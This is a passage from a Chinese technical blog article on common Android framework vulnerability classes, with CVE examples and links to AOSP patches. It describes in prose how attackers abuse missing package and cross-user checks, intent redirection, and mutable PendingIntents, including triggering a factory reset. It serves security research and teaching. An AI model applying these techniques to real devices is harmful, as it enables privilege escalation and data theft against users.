补丁:<a href="https://android.googlesource.com/platform/frameworks/base/+/cdd30b5c040ba7ebd0a1cc6009183ff602434fc0%5E%21/#F0" target="_blank" rel="noopener">Checking if package belongs to UID before registering broadcast receiver</a></p><p>虽然大部分情况下鉴权只需要一条 <code>enforceCallingOrSelfPermission</code>,但有些时候仍然需要调用者的包名,而 Binder 默认只支持返回调用者的 UID 和 PID(PID 不可靠,调用者调用到一半被杀了,或者调用者指定 <code>FLAG_ONEWAY</code> 表示此次调用是异步调用时会是 0),因此遇上这种情况时,通常都是在参数中加一个 packageName 让调用者传递自己的包名。注意这里所谓的 packageName 是调用者主动传递所以完全受控于调用者,服务端必须检查传递的包名属于调用者 UID,而万一有一个地方粗心大意漏了,就有可能造成漏洞。实际上不只是 AOSP,OEM 代码中也出现过类似漏洞,如三星的 <a href="https://wrlus.com/android-security/samsung/sve-2021-23076/" target="_blank" rel="noopener">SVE-2021-23076 (CVE-2021-25510, CVE-2021-25511)</a>。</p><h4 id="CVE-2021-0319:验证调用者包名,但是没完全验"><a href="#CVE-2021-0319:验证调用者包名,但是没完全验" class="headerlink" title="CVE-2021-0319:验证调用者包名,但是没完全验"></a>CVE-2021-0319:验证调用者包名,但是没完全验</h4><p>补丁:<a href="https://android.googlesource.com/platform/frameworks/base/+/0c17049d39b5a8867f030f6f36433564140e124a%5E%21/#F0" target="_blank" rel="noopener">Fix CDM package check</a></p><p>上回书说到,服务端必须保证调用者传入的包名属于调用者 UID,这种验证一般有三种方式,第一张是调用 <code>AppOpsManager.checkPackage()</code>,它在不匹配时会抛出 SecurityException;第二种是主动调用 <code>PackageManager.getPackageUid()</code> 与 calling uid 相比对,第三种是通过 <code>isSameApp</code>。</p><p>初看漏洞代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">checkCallerIsSystemOr</span><span class="params">(String pkg, <span class="keyword">int</span> userId)</span> <span class="keyword">throws</span> RemoteException </span>{</span><br><span class="line"> <span class="keyword">if</span> (isCallerSystem()) {</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> checkArgument(getCallingUserId() == userId,</span><br><span class="line"> <span class="string">"Must be called by either same user or system"</span>);</span><br><span class="line"> mAppOpsManager.checkPackage(Binder.getCallingUid(), pkg);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>用了上面提到的第一种方式,看起来好像并没有什么问题,对吧?我个人觉得即使是随便找一个安全研究员,跟他明确说这个文件里有校验包名不正确的漏洞,大概率也不会有人留意这里。</p><p>其实关键点在这里:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> IAppOpsService mAppOpsManager;</span><br></pre></td></tr></table></figure><p>别被 <code>mAppOpsManager</code> 这个名字骗啦,它的类型不是 <code>android.app.AppOpsManager</code>,而是内部的 <code>com.android.internal.app.IAppOpsService</code>!虽然它们都有 <code>checkPackage()</code> 方法,但是前者在检查失败时会抛出异常,而后者只是返回错误而已!当初这段代码的作者应该也是觉得自己在用前者,结果实际上是后者,才造成漏洞。这种漏洞很少见,可以通过静态代码搜索找到所有对 <code>IAppOpsService.checkPackage()</code> 的调用然后一个个检查。</p><h4 id="鉴权虽好,可不要漏信息哦"><a href="#鉴权虽好,可不要漏信息哦" class="headerlink" title="鉴权虽好,可不要漏信息哦"></a>鉴权虽好,可不要漏信息哦</h4><p>此类漏洞通常形式:攻击者传入其他应用的包名,然后通过微小的行为差异绕过 Android 11 中的<a href="https://developer.android.com/training/package-visibility" target="_blank" rel="noopener">“软件包可见性”(package visibility)</a> 判断指定应用是否已经安装。</p><p>例子1:<a href="https://android.googlesource.com/platform/frameworks/base/+/b57d1409c52478d37f006145949be8b4591b9898%5E%21/#F0" target="_blank" rel="noopener">CVE-2021-0321</a>,<code>getPackageUid</code> 在对应包名不存在时会返回 <code>Process.INVALID_UID</code>,因此满足下面的 if 直接返回,调用者拿到空列表;而对应包名存在时,会调用 <code>enforceCallingPermission(android.Manifest.permission.DUMP, function)</code>,调用者收到 SecurityException。这个微小的行为差异造成了信息泄漏。</p><p>例子2:<a href="https://cs.android.com/android/_/android/platform/frameworks/base/+/bf0d59726a0d9973f6867faedac0fe476c81fe8b" target="_blank" rel="noopener">CVE-2021-0975</a>,包名存在时抛出的异常信息为 <code>"package " + packageName + " does not match caller's uid " + uid</code> 而不存在时是 <code>"package " + packageName + " not found"</code>,微小的信息差异造成信息泄漏。</p><p>这种漏洞非常非常多,我简单搜索了一下,仅仅 Android 14 一个大版本中就修复了至少 37 个类似的漏洞,已被修复的类似漏洞预计已达上百个,可以想象 AOSP 中还有多少。此种漏洞谷歌一般评级仅为 Moderate,获得的赏金上限仅为 $250 且没有 CVE 编号,不值得专门去找,适合 code review 时顺手提交上去赚赏金。</p><p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="/data/image/android-platform-common-vulnerabilities/android-14-package-side-channel.jpg" alt="图:NVD 搜索结果"></p><h3 id="设备管理与多用户"><a href="#设备管理与多用户" class="headerlink" title="设备管理与多用户"></a>设备管理与多用户</h3><p>Android 从 4.2 开始加入了<a href="https://source.android.com/docs/devices/admin/multi-user" target="_blank" rel="noopener">多用户功能</a>,允许多个用户公用一台设备,每个用户可以安装各自的 app,数据互相隔离,一个用户通常情况下无法跨越用户边界读取或操作其他完全用户的数据(但管理员可以操作设备部分功能是否对其他用户开放)。跨用户操作通常需要 <code>INTERACT_ACROSS_USERS</code> <code>INTERACT_ACROSS_USERS_FULL</code> 等系统权限,如果有方法能绕过跨用户限制,就会被视为安全漏洞。部分关键系统应用可以<a href="https://source.android.com/docs/devices/admin/multiuser-apps" target="_blank" rel="noopener">只在主用户运行</a>,其他用户访问到的只是主用户的实例。</p><p>Android 同时支持<a href="https://source.android.com/docs/devices/admin" target="_blank" rel="noopener">设备管理</a>。系统层提供 <a href="https://developer.android.com/reference/android/app/admin/DevicePolicyManager" target="_blank" rel="noopener">DevicePolicyManager</a> 用于设备管理员控制设备,常用的有 <a href="https://developer.android.com/work/dpc/dedicated-devices/lock-task-mode" target="_blank" rel="noopener">lock task mode</a> 可用于锁定设备或限制设备只能运行某几个应用(专用设备等用途,如自动售货机)和 <a href="https://developer.android.com/reference/android/app/admin/DevicePolicyManager#addUserRestriction(android.content.ComponentName,%20java.lang.String)" target="_blank" rel="noopener">User Restrictions</a> 用于阻止用户操作特定设备功能,如禁用 WiFi、禁用蓝牙等。如果有方法绕过这些限制也会被视为安全漏洞。</p><h4 id="CVE-2019-2098-amp-CVE-2021-0686:API-缺失跨用户检查"><a href="#CVE-2019-2098-amp-CVE-2021-0686:API-缺失跨用户检查" class="headerlink" title="CVE-2019-2098 & CVE-2021-0686:API 缺失跨用户检查"></a>CVE-2019-2098 & CVE-2021-0686:API 缺失跨用户检查</h4><p>上文提到,为了支持多用户,很多 API 的参数里都加上了一个 userId,而跨用户操作需要系统权限,这需要服务端主动鉴权,API 这么多总会有一两个漏掉的。另一种形式是要求调用者传入 UID,但调用者可以传入属于其他用户的 UID。下面两个漏洞就是很经典的漏跨用户检查。</p><p>CVE-2019-2098 补丁:<a href="https://android.googlesource.com/platform/frameworks/base/+/9162b8635bb6358be4f8fa2f6aa0188d6cddd641%5E%21/#F0" target="_blank" rel="noopener">Add cross user permission check - areNotificationsEnabledForPackage</a></p><p>CVE-2021-0686 补丁:<a href="https://android.googlesource.com/platform/frameworks/base/+/7f39ba09b8ccad2ae50874d3643cdc93746391ea" target="_blank" rel="noopener">Add cross-user check for getDefaultSmsPackage().</a></p><h4 id="CVE-2023-21107:组件缺失跨用户"><a href="#CVE-2023-21107:组件缺失跨用户" class="headerlink" title="CVE-2023-21107:组件缺失跨用户"></a>CVE-2023-21107:组件缺失跨用户</h4><p>漏洞补丁:<a href="https://android.googlesource.com/platform/packages/apps/Settings/+/179e5ce2a521710992b5ebdb2d88e0c3b3f2c12b%5E%21/#F0" target="_blank" rel="noopener">Enforce INTERACT_ACROSS_USERS_FULL permission for NotificationAccessDetails</a></p><p>很多时候我们关注跨用户只关注系统提供的带有 userId 参数的 API,而忽略了系统应用。作为一个关键系统应用,系统设置拥有跨用户权限,此漏洞中的一个 Fragment 接收外部传递的 user handle 而没有任何输入校验和权限检查,然后直接开始使用这个 user handle,这样就使得攻击者可以利用一个低权限的恶意应用,打开 Settings 并传入其他用户的 handle,让高权限的 Settings 错误访问和操作其他用户的数据。这种“低权限个体欺骗高权限个体执行特权操作”的攻击模式被称为 confused deputy,虽然此例也可以说 missing permissions check 或者 missing input validation。<br>事实上在编写这篇文章的过程中,我顺手搜了一下该漏洞中用到的 <code>Intent.EXTRA_USER_HANDLE</code>,然后就发现 Settings 中的另一个被称为 AppInfoBase 的 fragment 也存在一模一样的漏洞,喜提天上掉下来的高危漏洞 CVE-2024-43088。</p><h4 id="CVE-2023-21123:缺失-User-Restrictions-检查"><a href="#CVE-2023-21123:缺失-User-Restrictions-检查" class="headerlink" title="CVE-2023-21123:缺失 User Restrictions 检查"></a>CVE-2023-21123:缺失 User Restrictions 检查</h4><p>漏洞补丁:<a href="https://android.googlesource.com/platform/packages/apps/Traceur/+/0cbd2103660d24abec9064f6a343151eb405b156" target="_blank" rel="noopener">Add DISALLOW_DEBUGGING_FEATURES check</a></p><p><code>DISALLOW_DEBUGGING_FEATURES</code> 是一个 user restriction,可以由设备管理员设置以关闭调试相关的功能。Tracur 是一个系统内置的应用,和 trace 相关,而 trace 是调试功能。此例中,Tracur 没有检查 <code>DISALLOW_DEBUGGING_FEATURES</code>,虽然设置中开发者选项打不开,但是利用一个应用可以直接调起 Tracur 从而操作 trace。</p><p>个人观察到的是 Android 12-13 刚发布的时候出现了很多这种 restriction bypass 的漏洞,可能是 Android 12 中将系统设置、SystemUI 等应用程序重构为新的 Material You 设计风格时进行了较大的代码改动所导致。笔者也曾经提交过类似漏洞,只获得了 Moderate 评级,摸不清 Google 心情。</p><h3 id="CVE-2021-0691:SELinux-权限配置不当"><a href="#CVE-2021-0691:SELinux-权限配置不当" class="headerlink" title="CVE-2021-0691:SELinux 权限配置不当"></a>CVE-2021-0691:SELinux 权限配置不当</h3><p>上文说,Android 除了使用 UID 等 Linux 传统的 DAC 机制,还使用 SELinux 这一 MAC 机制进一步缩减进程权限,确保系统安全。而本节中提到的 CVE-2021-0691 就是 SELinux 权限配置过大导致。补丁链接:<a href="https://android.googlesource.com/platform/system/sepolicy/+/972b000898a21a9b9eb43d209246dc671b3d815b%5E%21/#F0" target="_blank" rel="noopener">system_app: remove adb data loader permissions</a></p><p>可以看见,原本的策略允许 system_app 写入 apk_data_file 即已安装应用的 apk 文件,可以覆盖其他应用的 dex/so 等文件进而向其他应用持久注入代码。虽然攻击只能由系统的 system_app 发起,这满足了 <a href="https://source.android.com/docs/security/overview/updates-resources?hl=zh-cn#rating_modifiers" target="_blank" rel="noopener">分级调节规则</a> 中【需要作为特权上下文运行才能执行攻击】一条,严重程度被降为 moderate,但如果把这个漏洞和 system_app 中的其他漏洞如路径穿越写漏洞结合起来,就能组成一条非常有威力的漏洞链。事实上,此漏洞本身就是“魔形女”漏洞链的重要一环。想了解这一漏洞链可以参考<a href="https://wrlus.com/android-security/android-11-mystique-exploit/" target="_blank" rel="noopener">这篇文章</a>。历史上也出现过权限配置错误造成的严重程度更高的漏洞,通杀联发科设备的 MediaTek-SU 漏洞(CVE-2020-0069)就属于此类。</p><p>虽然为了安全,Android 的 SELinux 中存在大量 neverallow 规则保证 OEM 不会添加太过离谱的规则,修改 neverallow 会导致无法通过 CTS,但我们确实发现有一些 OEM 确实允许了被 neverallow 的条目。只能对 OEM 质量一声叹息。</p><h2 id="组件与意图"><a href="#组件与意图" class="headerlink" title="组件与意图"></a>组件与意图</h2><p>每个 Android 程序员都知道的 Android 四大组件:Activity Service BroadcastReceiver ContentProvider。Intent 则是与组件交互的桥梁。有时,不经意间的不当使用,也许就会造成漏洞。</p><h3 id="CVE-2021-0693:组件权限配置不当"><a href="#CVE-2021-0693:组件权限配置不当" class="headerlink" title="CVE-2021-0693:组件权限配置不当"></a>CVE-2021-0693:组件权限配置不当</h3><p>漏洞补丁:<a href="https://android.googlesource.com/platform/frameworks/base/+/e9a6ebf59258a4ca14f83b74f10113aaddaf2b33%5E%21/#F0" target="_blank" rel="noopener">Don’t export HeapDumpProvider.</a></p><p>组件的 exported 属性表示该组件是否可被外部应用访问,若没有设置则有 intent-filter 的组件默认导出(target Android 12+ 的 app 如果出现这种情况会被直接拒绝安装)。即使导出了组件,也可以设置 <code>android:permission</code> 等属性来限制只有拥有对应权限的应用才能访问此组件。本例中受害 provider 设置 exported=true 即导出,同时没有设置访问权限,任何应用都能直接访问,而访问 HeapDumpProvider 能获取到调试用的其他 app 的 heap dump,显然是敏感信息,从而造成非常明显的安全漏洞。</p><p>这种漏洞前几年比较多,早期甚至出现过把 <code>android:exported="true"</code> 误写成 <code>exported="true"</code> 这种漏洞(CVE-2013-6272),随着系统的日益完善成熟,近几年观察到的少了。后续挖掘重点可以集中在 OEM 自定义的组件上。</p><h3 id="LaunchAnywhere:危险的-Intent-Redirection"><a href="#LaunchAnywhere:危险的-Intent-Redirection" class="headerlink" title="LaunchAnywhere:危险的 Intent Redirection"></a>LaunchAnywhere:危险的 Intent Redirection</h3><p>大名鼎鼎的 LaunchAnywhere 应该是最早也最经典的 Intent Redirection 类型漏洞,可惜的是年代久远没有找到 CVE 编号,只有一个 Bug ID A-7699048。</p><p>这个洞网上的详细分析已经有很多了,这里不赘述,只简单介绍一下它的基本原理:应用 A 通过 AccountManager API 添加账号时,AccountManagerService 会请求 account 的 authenticator(也是一个应用),而这个 authenticator 可能需要向用户显示一个界面,所以可能返回一个 intent,此时 AccountManagerService 把 intent 返回给 A,在 A 中运行的系统代码会直接调用 startActivity 启动这个 intent,这里用的是 A 的身份,从而可以无限制访问应用内部 Activity 组件。如果 A 是 Settings,它拥有系统权限,此时就可以访问所有应用的所有 Activity,无视它是否导出或是否被权限保护。</p><p>Intent Redirection 是 Android 平台最经典的漏洞类型,已在 Android 系统、定制系统、三方应用程序等中多次出现过。其基本特征为收到别人发送的 intent,随后将其转发出去,常见 API 有 <code>startActivity</code>、<code>sendBroadcast</code>、<code>setResult</code> 等。前两个很明显,可以访问内部组件,而 <code>setResult</code> 虽然不能直接访问内部组件,但攻击者可以通过指定 intent 的 data 为应用内部受保护的 URI,并在 intent flags 中指定 <code>FLAG_GRANT_READ/WRITE_URI_PERMISSION</code>,当受害应用使用恶意 intent 调用 <code>setResult()</code> 时,就会不知不觉授予恶意应用读写自身内部 content provider 的权限。</p><p>在 Android 12 中,为了规避这类问题,Strict mode 引入了新的功能,可以检测到应用收到(getParcelable)别人发来的 intent 并将其立即转发的情况,一定程度上帮助了开发者识别此类漏洞。但是,这个工具并不能扫描到所有危险,而且直接转发 intent 并不是 intent redirection 的唯一一种类型,CVE-2022-20550 & CVE-2024-0015 就是一个例子,特权应用接收不可信的 ComponentName 然后直接创建指向该 ComponentName 的 intent 并 startActivity,也能够越权访问组件。补丁在这里:<a href="https://android.googlesource.com/platform/frameworks/base/+/2ce1b7fd37273ea19fbbb6daeeaa6212357b9a70%5E%21/#F0" target="_blank" rel="noopener">Fix vulnerability that allowed attackers to start arbitary activities</a>。</p><h3 id="CVE-2014-8609(BroadcastAnywhere):危险的-Pending-Intent"><a href="#CVE-2014-8609(BroadcastAnywhere):危险的-Pending-Intent" class="headerlink" title="CVE-2014-8609(BroadcastAnywhere):危险的 Pending Intent"></a>CVE-2014-8609(BroadcastAnywhere):危险的 Pending Intent</h3><p>上文提到的 Intent 其实还漏了一种特殊形式,即 PendingIntent。简单来说,PendingIntent 由应用主动创建,代表某项特殊的操作,可以传送给别的应用,别的应用发送这个 PendingIntent 时就以 PendingIntent 创建者的身份发送。创建时可以指定 PendingIntent 是否可变,如果可变则允许发送者修改未被显式指定的 intent 字段,如 action、data、flags 等。为了安全起见,默认 selector 和 ComponentName 是不允许被修改的。</p><p>回过头来看漏洞补丁:<a href="https://android.googlesource.com/platform/packages/apps/Settings/+/f5d3e74ecc2b973941d8adbe40c6b23094b5abb7%5E%21/#F0" target="_blank" rel="noopener">SECURITY: Don’t pass a usable Pending Intent to 3rd parties.</a></p><p>很明显,这里的 <code>mPendingIntent</code> 创建时使用了一个空的、啥都没有的 intent,同时未指定 <code>FLAG_IMMUTABLE</code>(虽然实际原因是这玩意在 Android 6.0 才加,那个年代还没有这玩意),这使得攻击者拿到这个 PendingIntent 之后可以任意改写里面的 intent 再发送,同时由于这个 PendingIntent 是 Settings 创建的,具有系统权限,攻击者发送 PendingIntent 时会以创建者身份发送,也就同样是以系统权限。这里 PendingIntent 是用的 <code>getBroadcast</code>,最后 <code>send</code> 的时候也会以广播方式发送,比如攻击者改写 action 字段为 <code>android.intent.action.MASTER_CLEAR</code>,广播发送出去后就会触发 <code>MasterClearReceiver</code> 进行恢复出厂设置的操作。</p><p>事实上,就算是开发者记得填充 action,有时候也不能避免漏洞的出现。恶意应用可以在自己的 AndroidManifest.xml 中注册相同 action 的 intent-filter,改写 package 指向恶意应用自己,flags 添加授权 flags,data/clipdata uri 指向受害应用私有的或者可访问的 ContentProvider 并发送,此时恶意应用就会被授予权限。更多可以查看 OPPO 的这篇文章:<a href="https://mp.weixin.qq.com/s/ifrErL88_8wN36WT8QbLvg" target="_blank" rel="noopener">PendingIntent重定向:一种针对安卓系统和流行App的通用提权方法——BlackHat EU 2021议题详解 (下)</a></p><p>(注:为了安全考虑,如果受害者是 root/system UID,授权时要求 URI 必须是几个特定 authority 否则会被拒绝,但对于系统中及应用市场中的海量应用,它们仍可能被攻击)</p><p>为了保证安全性,Android 6.0 添加了 <code>FLAG_IMMUTABLE</code> 用于指定 PendingIntent 不可变,而 Android 12 添加了 <code>FLAG_MUTABLE</code>,target Android 12+ 的应用创建 PendingIntent 时必须显式指定可变性,不再让应用开发者随手写下的 0 变成安全漏洞,自此这一类漏洞销声匿迹。但有部分场景 PendingIntent 仍然是可变的,此时就要万分小心。</p><h3 id="CVE-2017-0639:危险的-URI"><a href="#CVE-2017-0639:危险的-URI" class="headerlink" title="CVE-2017-0639:危险的 URI"></a>CVE-2017-0639:危险的 URI</h3><p>URI 在 Android 中非常常用,如常见的分享文件操作,就是创建一个 ACTION_SEND 的 intent,把要分享的文件的 URI 放到里面,然后 startActvity。常见的有安全影响的 URI 有 content uri 和 file uri(Android 7.0+ 已弃用)等。</p><p>这里其实有一点要注意的,就是接收到的 URI 可能指向原本发送者不应该有权限访问的数据,如果受害应用不加检查直接使用,就有可能造成信息泄漏。本例的 CVE-2017-0639 就是这样一个漏洞,漏洞补丁:<a href="https://android.googlesource.com/platform/packages/apps/Bluetooth/+/f196061addcc56878078e5684f2029ddbf7055ff%5E%21/#F0" target="_blank" rel="noopener">OPP: Restrict file based URI access to external storage</a></p><p>作者写的<a href="https://xz.aliyun.com/t/143?time__1311=CqjhqGxmx5PBqZD2mDB7%3DPD%3DAZWD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F593" target="_blank" rel="noopener">文章</a>也可以看一下。这里提一个点就是,禁止向外传出 file:// URI 这个功能只是 Strict mode 的限制,只需要把 strict mode 关闭就好。</p><p>file:// URI 从 Android 7.0 开始被弃用,像这样直接构造指向私有文件的 file URI 的这种利用手法近几年应该是几乎绝迹,但像这样缺失 URI 检查的漏洞其实还有很多,最近比较多的是高权限应用程序接收 URI 时没有检查该 URI 是否指向其他用户,从而允许一个用户越权读取到另一个用户的媒体。content URI 正常格式为 <code>content://authority/path/id</code>,跨用户的 content URI 会在 authority 前面加上用户 ID,形如 <code>content://10@authority/path/id</code>。</p><h3 id="广播权限与保护广播"><a href="#广播权限与保护广播" class="headerlink" title="广播权限与保护广播"></a>广播权限与保护广播</h3><p>上文中说到四大组件都可以定义权限,限制只能有对应权限的个体访问,但其实对于广播来说,它还有额外的保护机制。</p><p>我们常用的 <code>BOOT_COMPLETED</code> 等广播都是只有系统能发送,如果应用发送了这种广播,会发生什么?答案是会被系统拒绝发送。这一系列的广播对系统极为重要,如果第三方应用可以随意发送,比如发送 <code>android.intent.action.REBOOT</code>,系统就重启了;发送 <code>android.intent.action.MASTER_CLEAR</code>,系统就会开始恢复出厂设置。当时为了解决这个问题,一种方法是限制所有的系统广播接收器必须加上权限,只有拥有系统权限才能访问,但是难搞的是,这些广播中有一些是粘性广播(sticky broadcasts),它在系统中会长时间存留,直到后一个覆盖前一个,这样应用仍然有机会覆盖粘性广播的数据;另一个选择是,给这些广播都定义上权限,只有有权限的个体才能发送,但是给这些广播一个一个定义专用权限显然不现实,于是保护广播便诞生了,还是限制只有系统能发送,但是没有像传统一样定义特别的权限。很显然,这么多危险的广播,如果有一个被漏掉忘记被保护,或者定义保护广播没有生效,就会出现严重的安全漏洞。事实上,历史上确实发生过类似的漏洞:<a href="https://xz.aliyun.com/t/177?time__1311=CqjhqGxmxAxfODBqPx2mDBDRg%2BLm3QKx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F593" target="_blank" rel="noopener">CVE-2017-0601</a> 和 <a href="https://wrlus.com/android-security/system-apps-and-cve-2020-0391/" target="_blank" rel="noopener">CVE-2020-0391</a>。</p><p>另外一点,系统内部也大量应用了广播机制传递信息,广播这玩意和 Activity Service Provider 都不同,一次广播可能被多个个体接收,如果说系统内部发送广播传递内部信息的时候没有指定接收者,那就有可能被第三方应用拿到敏感信息。但是,我们不可能把所有已知会接收这个广播的可信应用硬编码在代码里,由此就引入了另一个安全机制,不仅广播接收者可以指定要有某某权限才能给我发广播,发送者也可以指定接收者必须有某某权限才能收到广播,利用现有的权限机制解决了问题。这里可能出现的漏洞就是写代码的人粗心大意忘记指定权限,导致信息被其他不相关应用接收。</p><p>(题外话,其实隐式 intent 启动 Activity 也有可能出现类似问题,三方应用定义一个相同的 intent-filter 就有机会被系统启动,不过这种漏洞偏少,启动 activity 只会启动一个,可以通过在 intent-filter 配置大于 0 的优先级来解决。不过也不是没有,<a href="https://wrlus.com/android-security/cve-2020-0396/" target="_blank" rel="noopener">CVE-2020-0396</a>)。</p><h3 id="Parcel-Mismatch"><a href="#Parcel-Mismatch" class="headerlink" title="Parcel Mismatch"></a>Parcel Mismatch</h3><p>其实这一段不应该放在组件与意图的,但是真的不知道该放哪。</p><p>除了传统的 Java 序列化方法,android 还为跨进程通信专门设计了一套轻量级的序列化方案:Parcelable。和 Serializable 不同,使用 Parcelable 要求开发者手动往 parcel 写入或读取数据。以下展示了一个典型的 Parcelable 实现类:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Person</span> <span class="keyword">implements</span> <span class="title">Parcelable</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> String name;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> age;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> money;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> Creator<Person> CREATOR = <span class="keyword">new</span> Creator<Person>() {</span><br><span class="line"> <span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> Person <span class="title">createFromParcel</span><span class="params">(Parcel in)</span> </span>{</span><br><span class="line"> Person obj = <span class="keyword">new</span> Person();</span><br><span class="line"> obj.name = in.readString();</span><br><span class="line"> obj.age = in.readInt();</span><br><span class="line"> obj.money = in.readInt();</span><br><span class="line"> <span class="keyword">return</span> obj;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span> <span class="keyword">public</span> Person[] newArray(<span class="keyword">int</span> size) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> Person[size];</span><br><span class="line"> }</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">describeContents</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">writeToParcel</span><span class="params">(@NonNull Parcel dest, <span class="keyword">int</span> flags)</span> </span>{</span><br><span class="line"> dest.writeString(name);</span><br><span class="line"> dest.writeInt(age);</span><br><span class="line"> dest.writeInt(money);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>假如这里程序员手滑了,write 写入的数据和 read 读取的数据不匹配,比如说一边写了 long 另一半读了 int 或者忘记读某个字段,会发生什么问题吗?</p><p>查看以上代码,两次 readInt 调用同一个方法能读取到不同的数据,而且读取顺序和写入顺序完全相同,这说明 Parcel 内部必定存在着一个偏移值,每次 read 